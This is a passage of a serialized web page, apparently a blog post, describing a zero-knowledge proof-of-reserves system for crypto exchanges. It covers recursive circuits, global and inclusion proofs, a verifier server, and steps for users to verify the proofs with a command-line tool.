7,9608],[101529],{"type":24,"tag":147,"props":101530,"children":101532},{"className":101531},[9613],[101533],{"type":24,"tag":147,"props":101534,"children":101536},{"className":101535,"ariaHidden":9619},[9618],[101537,101643],{"type":24,"tag":147,"props":101538,"children":101540},{"className":101539},[9624],[101541,101545,101550,101555,101560,101565,101570,101575,101580,101585,101590,101595,101600,101605,101610,101615,101620,101625,101630,101634,101639],{"type":24,"tag":147,"props":101542,"children":101544},{"className":101543,"style":98572},[9629],[],{"type":24,"tag":147,"props":101546,"children":101548},{"className":101547},[9635,27190],[101549],{"type":29,"value":2773},{"type":24,"tag":147,"props":101551,"children":101553},{"className":101552},[9635,27190],[101554],{"type":29,"value":98621},{"type":24,"tag":147,"props":101556,"children":101558},{"className":101557},[9635,27190],[101559],{"type":29,"value":27332},{"type":24,"tag":147,"props":101561,"children":101563},{"className":101562,"style":98630},[9635],[101564],{"type":29,"value":8714},{"type":24,"tag":147,"props":101566,"children":101568},{"className":101567},[9635,27190],[101569],{"type":29,"value":25},{"type":24,"tag":147,"props":101571,"children":101573},{"className":101572,"style":98630},[9635,27190],[101574],{"type":29,"value":99449},{"type":24,"tag":147,"props":101576,"children":101578},{"className":101577},[9635,27190],[101579],{"type":29,"value":9363},{"type":24,"tag":147,"props":101581,"children":101583},{"className":101582},[9635,27190],[101584],{"type":29,"value":98657},{"type":24,"tag":147,"props":101586,"children":101588},{"className":101587},[27319],[101589],{"type":29,"value":9358},{"type":24,"tag":147,"props":101591,"children":101593},{"className":101592},[9635,27190],[101594],{"type":29,"value":2773},{"type":24,"tag":147,"props":101596,"children":101598},{"className":101597},[9635,27190],[101599],{"type":29,"value":98621},{"type":24,"tag":147,"props":101601,"children":101603},{"className":101602},[9635,27190],[101604],{"type":29,"value":27332},{"type":24,"tag":147,"props":101606,"children":101608},{"className":101607,"style":98630},[9635],[101609],{"type":29,"value":8714},{"type":24,"tag":147,"props":101611,"children":101613},{"className":101612},[9635,27190],[101614],{"type":29,"value":61991},{"type":24,"tag":147,"props":101616,"children":101618},{"className":101617},[9635,27190],[101619],{"type":29,"value":98889},{"type":24,"tag":147,"props":101621,"children":101623},{"className":101622},[9635,27190],[101624],{"type":29,"value":56728},{"type":24,"tag":147,"props":101626,"children":101628},{"className":101627},[27341],[101629],{"type":29,"value":21023},{"type":24,"tag":147,"props":101631,"children":101633},{"className":101632,"style":9812},[9714],[],{"type":24,"tag":147,"props":101635,"children":101637},{"className":101636},[9817],[101638],{"type":29,"value":6600},{"type":24,"tag":147,"props":101640,"children":101642},{"className":101641,"style":9812},[9714],[],{"type":24,"tag":147,"props":101644,"children":101646},{"className":101645},[9624],[101647,101651,101656,101661,101666,101671,101676,101733,101738,101743,101748,101753,101758,101763,101768,101773,101778,101783,101788,101793,101798,101803,101808,101813,101818,101823,101828,101833,101838,101843,101848,101853,101858,101863,101868,101873,101878],{"type":24,"tag":147,"props":101648,"children":101650},{"className":101649,"style":98572},[9629],[],{"type":24,"tag":147,"props":101652,"children":101654},{"className":101653},[9635,27190],[101655],{"type":29,"value":2203},{"type":24,"tag":147,"props":101657,"children":101659},{"className":101658},[9635,27190],[101660],{"type":29,"value":98889},{"type":24,"tag":147,"props":101662,"children":101664},{"className":101663},[9635,27190],[101665],{"type":29,"value":8852},{"type":24,"tag":147,"props":101667,"children":101669},{"className":101668},[9635,27190],[101670],{"type":29,"value":25},{"type":24,"tag":147,"props":101672,"children":101674},{"className":101673},[9635,27190],[101675],{"type":29,"value":100976},{"type":24,"tag":147,"props":101677,"children":101679},{"className":101678},[9635],[101680,101685],{"type":24,"tag":147,"props":101681,"children":101683},{"className":101682,"style":100984},[9635,27190],[101684],{"type":29,"value":6999},{"type":24,"tag":147,"props":101686,"children":101688},{"className":101687},[9650],[101689],{"type":24,"tag":147,"props":101690,"children":101692},{"className":101691},[9655,27244],[101693,101722],{"type":24,"tag":147,"props":101694,"children":101696},{"className":101695},[9660],[101697,101717],{"type":24,"tag":147,"props":101698,"children":101700},{"className":101699,"style":99159},[9665],[101701],{"type":24,"tag":147,"props":101702,"children":101703},{"style":101005},[101704,101708],{"type":24,"tag":147,"props":101705,"children":101707},{"className":101706,"style":9675},[9674],[],{"type":24,"tag":147,"props":101709,"children":101711},{"className":101710},[9680,9681,9682,9683],[101712],{"type":24,"tag":147,"props":101713,"children":101715},{"className":101714},[9635,27190,9683],[101716],{"type":29,"value":9363},{"type":24,"tag":147,"props":101718,"children":101720},{"className":101719},[27347],[101721],{"type":29,"value":27350},{"type":24,"tag":147,"props":101723,"children":101725},{"className":101724},[9660],[101726],{"type":24,"tag":147,"props":101727,"children":101729},{"className":101728,"style":98713},[9665],[101730],{"type":24,"tag":147,"props":101731,"children":101732},{},[],{"type":24,"tag":147,"props":101734,"children":101736},{"className":101735},[9635],[101737],{"type":29,"value":87},{"type":24,"tag":147,"props":101739,"children":101741},{"className":101740},[9635,27190],[101742],{"type":29,"value":25},{"type":24,"tag":147,"props":101744,"children":101746},{"className":101745},[9635,27190],[101747],{"type":29,"value":98889},{"type":24,"tag":147,"props":101749,"children":101751},{"className":101750},[9635,27190],[101752],{"type":29,"value":8852},{"type":24,"tag":147,"props":101754,"children":101756},{"className":101755,"style":98642},[9635,27190],[101757],{"type":29,"value":98645},{"type":24,"tag":147,"props":101759,"children":101761},{"className":101760},[9635,27190],[101762],{"type":29,"value":9363},{"type":24,"tag":147,"props":101764,"children":101766},{"className":101765},[9635,27190],[101767],{"type":29,"value":140},{"type":24,"tag":147,"props":101769,"children":101771},{"className":101770,"style":98630},[9635],[101772],{"type":29,"value":8714},{"type":24,"tag":147,"props":101774,"children":101776},{"className":101775},[9635,27190],[101777],{"type":29,"value":1709},{"type":24,"tag":147,"props":101779,"children":101781},{"className":101780},[9635,27190],[101782],{"type":29,"value":25},{"type":24,"tag":147,"props":101784,"children":101786},{"className":101785},[9635,27190],[101787],{"type":29,"value":98889},{"type":24,"tag":147,"props":101789,"children":101791},{"className":101790},[9635,27190],[101792],{"type":29,"value":27332},{"type":24,"tag":147,"props":101794,"children":101796},{"className":101795},[9635],[101797],{"type":29,"value":87},{"type":24,"tag":147,"props":101799,"children":101801},{"className":101800},[9635,27190],[101802],{"type":29,"value":2773},{"type":24,"tag":147,"props":101804,"children":101806},{"className":101805},[9635,27190],[101807],{"type":29,"value":98621},{"type":24,"tag":147,"props":101809,"children":101811},{"className":101810},[9635,27190],[101812],{"type":29,"value":27332},{"type":24,"tag":147,"props":101814,"children":101816},{"className":101815,"style":98630},[9635],[101817],{"type":29,"value":8714},{"type":24,"tag":147,"props":101819,"children":101821},{"className":101820},[9635,27190],[101822],{"type":29,"value":25},{"type":24,"tag":147,"props":101824,"children":101826},{"className":101825,"style":98630},[9635,27190],[101827],{"type":29,"value":99449},{"type":24,"tag":147,"props":101829,"children":101831},{"className":101830},[9635,27190],[101832],{"type":29,"value":9363},{"type":24,"tag":147,"props":101834,"children":101836},{"className":101835},[9635,27190],[101837],{"type":29,"value":99460},{"type":24,"tag":147,"props":101839,"children":101841},{"className":101840},[27319],[101842],{"type":29,"value":9358},{"type":24,"tag":147,"props":101844,"children":101846},{"className":101845},[9635,27190],[101847],{"type":29,"value":2773},{"type":24,"tag":147,"props":101849,"children":101851},{"className":101850},[9635,27190],[101852],{"type":29,"value":98621},{"type":24,"tag":147,"props":101854,"children":101856},{"className":101855},[9635,27190],[101857],{"type":29,"value":27332},{"type":24,"tag":147,"props":101859,"children":101861},{"className":101860,"style":98630},[9635],[101862],{"type":29,"value":8714},{"type":24,"tag":147,"props":101864,"children":101866},{"className":101865},[9635,27190],[101867],{"type":29,"value":61991},{"type":24,"tag":147,"props":101869,"children":101871},{"className":101870},[9635,27190],[101872],{"type":29,"value":98889},{"type":24,"tag":147,"props":101874,"children":101876},{"className":101875},[9635,27190],[101877],{"type":29,"value":56728},{"type":24,"tag":147,"props":101879,"children":101881},{"className":101880},[27341],[101882],{"type":29,"value":21023},{"type":29,"value":12083},{"type":24,"tag":10949,"props":101885,"children":101886},{},[101887],{"type":29,"value":101888},"(verifies if all asset prices are the same)",{"type":24,"tag":2678,"props":101890,"children":101891},{},[101892,102271,102272],{"type":24,"tag":80,"props":101893,"children":101895},{"className":101894},[9607,9608],[101896],{"type":24,"tag":147,"props":101897,"children":101899},{"className":101898},[9613],[101900],{"type":24,"tag":147,"props":101901,"children":101903},{"className":101902,"ariaHidden":9619},[9618],[101904,101985],{"type":24,"tag":147,"props":101905,"children":101907},{"className":101906},[9624],[101908,101912,101917,101922,101927,101932,101937,101942,101947,101952,101957,101962,101967,101972,101976,101981],{"type":24,"tag":147,"props":101909,"children":101911},{"className":101910,"style":100043},[9629],[],{"type":24,"tag":147,"props":101913,"children":101915},{"className":101914},[9635,27190],[101916],{"type":29,"value":56728},{"type":24,"tag":147,"props":101918,"children":101920},{"className":101919,"style":98630},[9635,27190],[101921],{"type":29,"value":100055},{"type":24,"tag":147,"props":101923,"children":101925},{"className":101924,"style":100059},[9635,27190],[101926],{"type":29,"value":94267},{"type":24,"tag":147,"props":101928,"children":101930},{"className":101929,"style":98642},[9635,27190],[101931],{"type":29,"value":98645},{"type":24,"tag":147,"props":101933,"children":101935},{"className":101934},[9635,27190],[101936],{"type":29,"value":57047},{"type":24,"tag":147,"props":101938,"children":101940},{"className":101939,"style":98630},[9635],[101941],{"type":29,"value":8714},{"type":24,"tag":147,"props":101943,"children":101945},{"className":101944},[9635,27190],[101946],{"type":29,"value":27332},{"type":24,"tag":147,"props":101948,"children":101950},{"className":101949},[9635,27190],[101951],{"type":29,"value":100087},{"type":24,"tag":147,"props":101953,"children":101955},{"className":101954,"style":98630},[9635],[101956],{"type":29,"value":8714},{"type":24,"tag":147,"props":101958,"children":101960},{"className":101959},[9635,27190],[101961],{"type":29,"value":100098},{"type":24,"tag":147,"props":101963,"children":101965},{"className":101964},[9635,27190],[101966],{"type":29,"value":2203},{"type":24,"tag":147,"props":101968,"children":101970},{"className":101969},[9635,27190],[101971],{"type":29,"value":89928},{"type":24,"tag":147,"props":101973,"children":101975},{"className":101974,"style":9812},[9714],[],{"type":24,"tag":147,"props":101977,"children":101979},{"className":101978},[9817],[101980],{"type":29,"value":6600},{"type":24,"tag":147,"props":101982,"children":101984},{"className":101983,"style":9812},[9714],[],{"type":24,"tag":147,"props":101986,"children":101988},{"className":101987},[9624],[101989,101993,101998,102003,102008,102013,102018,102023,102028,102033,102038,102095,102100,102104,102109,102114,102171,102176,102180,102185,102190,102194,102199,102204,102266],{"type":24,"tag":147,"props":101990,"children":101992},{"className":101991,"style":9735},[9629],[],{"type":24,"tag":147,"props":101994,"children":101996},{"className":101995,"style":27191},[9635,27190],[101997],{"type":29,"value":27194},{"type":24,"tag":147,"props":101999,"children":102001},{"className":102000},[9635,27190],[102002],{"type":29,"value":98584},{"type":24,"tag":147,"props":102004,"children":102006},{"className":102005},[9635,27190],[102007],{"type":29,"value":9363},{"type":24,"tag":147,"props":102009,"children":102011},{"className":102010},[9635,27190],[102012],{"type":29,"value":76147},{"type":24,"tag":147,"props":102014,"children":102016},{"className":102015},[9635,27190],[102017],{"type":29,"value":98600},{"type":24,"tag":147,"props":102019,"children":102021},{"className":102020},[9635,27190],[102022],{"type":29,"value":61991},{"type":24,"tag":147,"props":102024,"children":102026},{"className":102025},[27319],[102027],{"type":29,"value":480},{"type":24,"tag":147,"props":102029,"children":102031},{"className":102030},[9635,27190],[102032],{"type":29,"value":100098},{"type":24,"tag":147,"props":102034,"children":102036},{"className":102035},[9635,27190],[102037],{"type":29,"value":2203},{"type":24,"tag":147,"props":102039,"children":102041},{"className":102040},[9635],[102042,102047],{"type":24,"tag":147,"props":102043,"children":102045},{"className":102044},[9635,27190],[102046],{"type":29,"value":89928},{"type":24,"tag":147,"props":102048,"children":102050},{"className":102049},[9650],[102051],{"type":24,"tag":147,"props":102052,"children":102054},{"className":102053},[9655,27244],[102055,102084],{"type":24,"tag":147,"props":102056,"children":102058},{"className":102057},[9660],[102059,102079],{"type":24,"tag":147,"props":102060,"children":102062},{"className":102061,"style":98682},[9665],[102063],{"type":24,"tag":147,"props":102064,"children":102065},{"style":98686},[102066,102070],{"type":24,"tag":147,"props":102067,"children":102069},{"className":102068,"style":9675},[9674],[],{"type":24,"tag":147,"props":102071,"children":102073},{"className":102072},[9680,9681,9682,9683],[102074],{"type":24,"tag":147,"props":102075,"children":102077},{"className":102076},[9635,9683],[102078],{"type":29,"value":3173},{"type":24,"tag":147,"props":102080,"children":102082},{"className":102081},[27347],[102083],{"type":29,"value":27350},{"type":24,"tag":147,"props":102085,"children":102087},{"className":102086},[9660],[102088],{"type":24,"tag":147,"props":102089,"children":102091},{"className":102090,"style":98713},[9665],[102092],{"type":24,"tag":147,"props":102093,"children":102094},{},[],{"type":24,"tag":147,"props":102096,"children":102098},{"className":102097},[9746],[102099],{"type":29,"value":9749},{"type":24,"tag":147,"props":102101,"children":102103},{"className":102102,"style":9753},[9714],[],{"type":24,"tag":147,"props":102105,"children":102107},{"className":102106},[9635,27190],[102108],{"type":29,"value":100098},{"type":24,"tag":147,"props":102110,"children":102112},{"className":102111},[9635,27190],[102113],{"type":29,"value":2203},{"type":24,"tag":147,"props":102115,"children":102117},{"className":102116},[9635],[102118,102123],{"type":24,"tag":147,"props":102119,"children":102121},{"className":102120},[9635,27190],[102122],{"type":29,"value":89928},{"type":24,"tag":147,"props":102124,"children":102126},{"className":102125},[9650],[102127],{"type":24,"tag":147,"props":102128,"children":102130},{"className":102129},[9655,27244],[102131,102160],{"type":24,"tag":147,"props":102132,"children":102134},{"className":102133},[9660],[102135,102155],{"type":24,"tag":147,"props":102136,"children":102138},{"className":102137,"style":98682},[9665],[102139],{"type":24,"tag":147,"props":102140,"children":102141},{"style":98686},[102142,102146],{"type":24,"tag":147,"props":102143,"children":102145},{"className":102144,"style":9675},[9674],[],{"type":24,"tag":147,"props":102147,"children":102149},{"className":102148},[9680,9681,9682,9683],[102150],{"type":24,"tag":147,"props":102151,"children":102153},{"className":102152},[9635,9683],[102154],{"type":29,"value":1154},{"type":24,"tag":147,"props":102156,"children":102158},{"className":102157},[27347],[102159],{"type":29,"value":27350},{"type":24,"tag":147,"props":102161,"children":102163},{"className":102162},[9660],[102164],{"type":24,"tag":147,"props":102165,"children":102167},{"className":102166,"style":98713},[9665],[102168],{"type":24,"tag":147,"props":102169,"children":102170},{},[],{"type":24,"tag":147,"props":102172,"children":102174},{"className":102173},[9746],[102175],{"type":29,"value":9749},{"type":24,"tag":147,"props":102177,"children":102179},{"className":102178,"style":9753},[9714],[],{"type":24,"tag":147,"props":102181,"children":102183},{"className":102182},[9635],[102184],{"type":29,"value":15212},{"type":24,"tag":147,"props":102186,"children":102188},{"className":102187},[9746],[102189],{"type":29,"value":9749},{"type":24,"tag":147,"props":102191,"children":102193},{"className":102192,"style":9753},[9714],[],{"type":24,"tag":147,"props":102195,"children":102197},{"className":102196},[9635,27190],[102198],{"type":29,"value":100098},{"type":24,"tag":147,"props":102200,"children":102202},{"className":102201},[9635,27190],[102203],{"type":29,"value":2203},{"type":24,"tag":147,"props":102205,"children":102207},{"className":102206},[9635],[102208,102213],{"type":24,"tag":147,"props":102209,"children":102211},{"className":102210},[9635,27190],[102212],{"type":29,"value":89928},{"type":24,"tag":147,"props":102214,"children":102216},{"className":102215},[9650],[102217],{"type":24,"tag":147,"props":102218,"children":102220},{"className":102219},[9655,27244],[102221,102255],{"type":24,"tag":147,"props":102222,"children":102224},{"className":102223},[9660],[102225,102250],{"type":24,"tag":147,"props":102226,"children":102228},{"className":102227,"style":98682},[9665],[102229],{"type":24,"tag":147,"props":102230,"children":102231},{"style":98686},[102232,102236],{"type":24,"tag":147,"props":102233,"children":102235},{"className":102234,"style":9675},[9674],[],{"type":24,"tag":147,"props":102237,"children":102239},{"className":102238},[9680,9681,9682,9683],[102240],{"type":24,"tag":147,"props":102241,"children":102243},{"className":102242},[9635,9683],[102244],{"type":24,"tag":147,"props":102245,"children":102247},{"className":102246},[9635,9683],[102248],{"type":29,"value":102249},"31",{"type":24,"tag":147,"props":102251,"children":102253},{"className":102252},[27347],[102254],{"type":29,"value":27350},{"type":24,"tag":147,"props":102256,"children":102258},{"className":102257},[9660],[102259],{"type":24,"tag":147,"props":102260,"children":102262},{"className":102261,"style":98713},[9665],[102263],{"type":24,"tag":147,"props":102264,"children":102265},{},[],{"type":24,"tag":147,"props":102267,"children":102269},{"className":102268},[27341],[102270],{"type":29,"value":8758},{"type":29,"value":12083},{"type":24,"tag":10949,"props":102273,"children":102274},{},[102275],{"type":29,"value":100418},{"type":24,"tag":2678,"props":102277,"children":102278},{},[102279,102284,102285],{"type":24,"tag":8545,"props":102280,"children":102281},{},[102282],{"type":29,"value":102283},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":29,"value":12083},{"type":24,"tag":10949,"props":102286,"children":102287},{},[102288],{"type":29,"value":100702},{"type":24,"tag":25,"props":102290,"children":102291},{},[102292],{"type":29,"value":102293},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":24,"tag":25,"props":102295,"children":102296},{},[102297],{"type":24,"tag":63,"props":102298,"children":102300},{"alt":56176,"src":102299},"/posts/por/recursive-circuit.png",[],{"type":24,"tag":32,"props":102302,"children":102304},{"id":102303},"global-proof-and-inclusion-proofs",[102305],{"type":29,"value":102306},"Global Proof and Inclusion Proofs",{"type":24,"tag":43,"props":102308,"children":102309},{"id":14903},[102310],{"type":29,"value":102311},"Proving",{"type":24,"tag":25,"props":102313,"children":102314},{},[102315,102317,102323,102324,102330,102331,102337],{"type":29,"value":102316},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":24,"tag":80,"props":102318,"children":102320},{"className":102319},[],[102321],{"type":29,"value":102322},"merkle_tree.json",{"type":29,"value":546},{"type":24,"tag":80,"props":102325,"children":102327},{"className":102326},[],[102328],{"type":29,"value":102329},"final_proof.json",{"type":29,"value":12113},{"type":24,"tag":80,"props":102332,"children":102334},{"className":102333},[],[102335],{"type":29,"value":102336},"private_nonces.json",{"type":29,"value":102338}," files.",{"type":24,"tag":25,"props":102340,"children":102341},{},[102342],{"type":29,"value":102343},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":24,"tag":25,"props":102345,"children":102346},{},[102347,102349,102355,102357,102362],{"type":29,"value":102348},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":24,"tag":80,"props":102350,"children":102352},{"className":102351},[],[102353],{"type":29,"value":102354},"inclusion_proof_\u003Cid>.json",{"type":29,"value":102356},"). ",{"type":24,"tag":8545,"props":102358,"children":102359},{},[102360],{"type":29,"value":102361},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":29,"value":87},{"type":24,"tag":43,"props":102364,"children":102366},{"id":102365},"verifying",[102367],{"type":29,"value":102368},"Verifying",{"type":24,"tag":25,"props":102370,"children":102371},{},[102372],{"type":24,"tag":10949,"props":102373,"children":102374},{},[102375],{"type":29,"value":102376},"Global Proof",{"type":24,"tag":25,"props":102378,"children":102379},{},[102380,102382,102387,102388,102393],{"type":29,"value":102381},"To verify the global proof, the code deserializes the ",{"type":24,"tag":80,"props":102383,"children":102385},{"className":102384},[],[102386],{"type":29,"value":102322},{"type":29,"value":2887},{"type":24,"tag":80,"props":102389,"children":102391},{"className":102390},[],[102392],{"type":29,"value":102329},{"type":29,"value":102394}," files and performs these checks:",{"type":24,"tag":2674,"props":102396,"children":102397},{},[102398,102403,102408,102413,102439],{"type":24,"tag":2678,"props":102399,"children":102400},{},[102401],{"type":29,"value":102402},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":24,"tag":2678,"props":102404,"children":102405},{},[102406],{"type":29,"value":102407},"Verify the ZK final proof.",{"type":24,"tag":2678,"props":102409,"children":102410},{},[102411],{"type":29,"value":102412},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":24,"tag":2678,"props":102414,"children":102415},{},[102416,102418,102424,102426,102431,102432,102437],{"type":29,"value":102417},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":24,"tag":80,"props":102419,"children":102421},{"className":102420},[],[102422],{"type":29,"value":102423},"merkle_tree_hash",{"type":29,"value":102425}," public input. This ensures that the ",{"type":24,"tag":80,"props":102427,"children":102429},{"className":102428},[],[102430],{"type":29,"value":102322},{"type":29,"value":855},{"type":24,"tag":80,"props":102433,"children":102435},{"className":102434},[],[102436],{"type":29,"value":102329},{"type":29,"value":102438}," are linked (they belong to the same global proof).",{"type":24,"tag":2678,"props":102440,"children":102441},{},[102442],{"type":29,"value":102443},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":24,"tag":25,"props":102445,"children":102446},{},[102447],{"type":24,"tag":10949,"props":102448,"children":102449},{},[102450],{"type":29,"value":102451},"Inclusion Proof",{"type":24,"tag":25,"props":102453,"children":102454},{},[102455,102457,102462,102464,102469],{"type":29,"value":102456},"To verify the inclusion proof, the code deserializes the ",{"type":24,"tag":80,"props":102458,"children":102460},{"className":102459},[],[102461],{"type":29,"value":102354},{"type":29,"value":102463}," file and also the ",{"type":24,"tag":80,"props":102465,"children":102467},{"className":102466},[],[102468],{"type":29,"value":102329},{"type":29,"value":102470},". After that, it performs these checks:",{"type":24,"tag":2674,"props":102472,"children":102473},{},[102474,102478,102483,102488],{"type":24,"tag":2678,"props":102475,"children":102476},{},[102477],{"type":29,"value":102407},{"type":24,"tag":2678,"props":102479,"children":102480},{},[102481],{"type":29,"value":102482},"Verify if the Merkle tree root is the same as in the final proof.",{"type":24,"tag":2678,"props":102484,"children":102485},{},[102486],{"type":29,"value":102487},"Recalculate the user-related node leaf hash.",{"type":24,"tag":2678,"props":102489,"children":102490},{},[102491],{"type":29,"value":102492},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":24,"tag":32,"props":102494,"children":102496},{"id":102495},"por-verifier-server",[102497],{"type":29,"value":102498},"PoR Verifier Server",{"type":24,"tag":25,"props":102500,"children":102501},{},[102502,102504,102510],{"type":29,"value":102503},"To automate the verification process, we created a ",{"type":24,"tag":2773,"props":102505,"children":102507},{"href":98141,"rel":102506},[2777],[102508],{"type":29,"value":102509},"verifier server",{"type":29,"value":102511}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":24,"tag":25,"props":102513,"children":102514},{},[102515],{"type":29,"value":102516},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":24,"tag":25,"props":102518,"children":102519},{},[102520],{"type":24,"tag":63,"props":102521,"children":102523},{"alt":56176,"src":102522},"/posts/por/backpack-por.png",[],{"type":24,"tag":25,"props":102525,"children":102526},{},[102527],{"type":29,"value":102528},"Here is a breakdown of what fields represent and why they are required:",{"type":24,"tag":22292,"props":102530,"children":102531},{},[102532,102542,102552,102562,102572,102582],{"type":24,"tag":2678,"props":102533,"children":102534},{},[102535,102540],{"type":24,"tag":10949,"props":102536,"children":102537},{},[102538],{"type":29,"value":102539},"Status",{"type":29,"value":102541}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":24,"tag":2678,"props":102543,"children":102544},{},[102545,102550],{"type":24,"tag":10949,"props":102546,"children":102547},{},[102548],{"type":29,"value":102549},"Proof Timestamp",{"type":29,"value":102551}," --> when the proof was generated by the exchange.",{"type":24,"tag":2678,"props":102553,"children":102554},{},[102555,102560],{"type":24,"tag":10949,"props":102556,"children":102557},{},[102558],{"type":29,"value":102559},"Verify Timestamp",{"type":29,"value":102561}," --> when the proof was verified by the PoR server.",{"type":24,"tag":2678,"props":102563,"children":102564},{},[102565,102570],{"type":24,"tag":10949,"props":102566,"children":102567},{},[102568],{"type":29,"value":102569},"Proof File URL",{"type":29,"value":102571}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":24,"tag":2678,"props":102573,"children":102574},{},[102575,102580],{"type":24,"tag":10949,"props":102576,"children":102577},{},[102578],{"type":29,"value":102579},"Prover Version",{"type":29,"value":102581}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":24,"tag":2678,"props":102583,"children":102584},{},[102585,102590],{"type":24,"tag":10949,"props":102586,"children":102587},{},[102588],{"type":29,"value":102589},"File Hash (SHA256)",{"type":29,"value":102591}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":24,"tag":25,"props":102593,"children":102594},{},[102595],{"type":29,"value":102596},"Also, you can check the exchange's liabilities on the website:",{"type":24,"tag":25,"props":102598,"children":102599},{},[102600],{"type":24,"tag":63,"props":102601,"children":102603},{"alt":56176,"src":102602},"/posts/por/backpack-por-liabilities.png",[],{"type":24,"tag":25,"props":102605,"children":102606},{},[102607,102609,102615,102617,102623],{"type":29,"value":102608},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":24,"tag":2773,"props":102610,"children":102613},{"href":102611,"rel":102612},"https://backpack.exchange/reserves",[2777],[102614],{"type":29,"value":102611},{"type":29,"value":102616}," and our verifier server for backpack at ",{"type":24,"tag":2773,"props":102618,"children":102621},{"href":102619,"rel":102620},"https://backpack-por.osec.io/",[2777],[102622],{"type":29,"value":102619},{"type":29,"value":87},{"type":24,"tag":32,"props":102625,"children":102627},{"id":102626},"self-verification",[102628],{"type":29,"value":102629},"Self-verification",{"type":24,"tag":25,"props":102631,"children":102632},{},[102633],{"type":29,"value":102634},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":24,"tag":43,"props":102636,"children":102638},{"id":102637},"how-to-verify-if-i-was-included",[102639],{"type":29,"value":102640},"How to verify if I was included?",{"type":24,"tag":25,"props":102642,"children":102643},{},[102644],{"type":29,"value":102645},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":24,"tag":2674,"props":102647,"children":102648},{},[102649,102660,102678],{"type":24,"tag":2678,"props":102650,"children":102651},{},[102652,102659],{"type":24,"tag":2773,"props":102653,"children":102656},{"href":102654,"rel":102655},"https://github.com/otter-sec/por_v2/releases",[2777],[102657],{"type":29,"value":102658},"Download the PoRv2 executable from our github",{"type":29,"value":87},{"type":24,"tag":2678,"props":102661,"children":102662},{},[102663,102665,102670,102671,102676],{"type":29,"value":102664},"Download the inclusion and the final proof files from the exchange (",{"type":24,"tag":80,"props":102666,"children":102668},{"className":102667},[],[102669],{"type":29,"value":102354},{"type":29,"value":855},{"type":24,"tag":80,"props":102672,"children":102674},{"className":102673},[],[102675],{"type":29,"value":102329},{"type":29,"value":102677},") and put the files in the same directory as the PoRv2 app.",{"type":24,"tag":2678,"props":102679,"children":102680},{},[102681,102683,102689],{"type":29,"value":102682},"Open the terminal and execute this: ",{"type":24,"tag":80,"props":102684,"children":102686},{"className":102685},[],[102687],{"type":29,"value":102688},"./plonky2_por verify-inclusion",{"type":29,"value":87},{"type":24,"tag":25,"props":102691,"children":102692},{},[102693],{"type":29,"value":102694},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":24,"tag":137,"props":102696,"children":102698},{"code":102697},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[102699],{"type":24,"tag":80,"props":102700,"children":102701},{"__ignoreMap":7},[102702],{"type":29,"value":102697},{"type":24,"tag":43,"props":102704,"children":102706},{"id":102705},"how-can-i-verify-the-global-proof",[102707],{"type":29,"value":102708},"How can I verify the global proof?",{"type":24,"tag":25,"props":102710,"children":102711},{},[102712],{"type":29,"value":102713},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":24,"tag":2674,"props":102715,"children":102716},{},[102717,102726,102744],{"type":24,"tag":2678,"props":102718,"children":102719},{},[102720,102725],{"type":24,"tag":2773,"props":102721,"children":102723},{"href":102654,"rel":102722},[2777],[102724],{"type":29,"value":102658},{"type":29,"value":87},{"type":24,"tag":2678,"props":102727,"children":102728},{},[102729,102731,102736,102737,102742],{"type":29,"value":102730},"Download the ",{"type":24,"tag":80,"props":102732,"children":102734},{"className":102733},[],[102735],{"type":29,"value":102322},{"type":29,"value":2887},{"type":24,"tag":80,"props":102738,"children":102740},{"className":102739},[],[102741],{"type":29,"value":102329},{"type":29,"value":102743}," files and put them in the same directory as the PoRv2 app. You can 